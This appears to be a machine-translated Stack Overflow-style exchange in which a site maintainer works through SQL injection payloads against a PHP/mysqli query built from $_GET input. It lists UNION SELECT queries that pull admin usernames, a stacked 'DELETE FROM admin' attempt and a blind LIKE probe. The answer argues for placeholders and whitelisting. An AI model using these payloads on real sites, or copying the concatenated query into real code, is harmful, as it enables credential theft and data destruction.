MySQL的SQL注入(一个有趣的挑战)


SQL Injection with MySQL (a fun challenge)

一位开发人员刚刚在我维护的网站上引入了一个SQL注入漏洞,我想展示一下它是如何容易被利用的;但是有几个问题。

以SQL为例,大致如下:
SELECT
    c.id,
    c.name,
    c.start
FROM
    course AS c
WHERE
    MONTH(c.start) = $_GET['month']
ORDER BY
    c.start

如果我将$_GET['month']设置为:

13 UNION SELECT 1, username, 3 FROM admin

将运行查询:

SELECT
    c.id,
    c.name,
    c.start
FROM
    course AS c
WHERE
    MONTH(c.start) = 13 UNION SELECT 1, username, 3 FROM admin
ORDER BY
    c.start

如果ORDER BY不包含c.表别名,则可以工作。相反,它会导致错误:

Table 'c' from one of the SELECTs cannot be used in field list

<标题> 别名

admin添加c ALIAS也没有影响:

13 UNION SELECT 1, c.username, 3 FROM admin AS c

<标题> 评论

我尝试使用--注释掉ORDER BY,但这不起作用,因为它在新行上:

13 UNION SELECT 1, c.username, 3 FROM admin AS c --

同样/*也不能工作,因为我不能添加最后的*/:

13 UNION SELECT 1, c.username, 3 FROM admin AS c /*

<标题>分裂查询

似乎mysqli_prepare()也不像;在查询中的任何地方-所以DROP, DELETE或TRUNCATE会导致SQL语法错误:

13; DELETE FROM admin;

<标题> 解决方案

目前我唯一能想到的就是添加到WHERE子句中,这样攻击者就可以得到一个是/否响应(一些记录或没有记录),就像下面这样-但这比看到记录出现在屏幕上更令人满意:-)

SELECT
    c.id,
    c.name,
    c.start_estimate
FROM
    thr_course_term AS c
WHERE
    MONTH(c.start_estimate) = 13 OR 1 = (SELECT 1 FROM thr_admin WHERE username LIKE "crai%")
ORDER BY
    c.start_estimate;

<标题> 源代码

SQL在PHP中使用mysqli运行,大致代码为:

<?php
$month = '13 UNION SELECT 1, username, 3 FROM admin'; // from $_GET['month']
$sql = 'SELECT
            c.id,
            c.name,
            c.start
        FROM
            course AS c
        WHERE
            MONTH(c.start) = ' . $month . '
        ORDER BY
            c.start';
$link = mysqli_connect('localhost', 'username', 'password', 'database');
$statement = mysqli_prepare($link, $sql);
if (!$statement) {
    echo $link->error;
} else {
    // Skip the bind_param bit
    $result = $statement->execute();
    $result = $statement->get_result();
    while ($row = mysqli_fetch_assoc($result)) {
        print_r($row);
    }
}
?>

实际上演示任何利用技术都没有意义。

一方面,可能的攻击数量是无限的。你可以用例子淹没整个Stack Overflow。然而,它们都不会增加任何保护技术。你看,保护规则是简短而明确的。记住数百种可能的攻击来保护您的站点是没有意义的。你只需要学习一些规则:

  1. 所有的数据文字应该通过占位符添加。
  2. 所有其他查询部分必须列入白名单。

另一方面,要证明的危险,老Bobby Tables的例子就足够了。如果这个例子还不能说服你,我怀疑其他任何的利用例子都能做到这一点。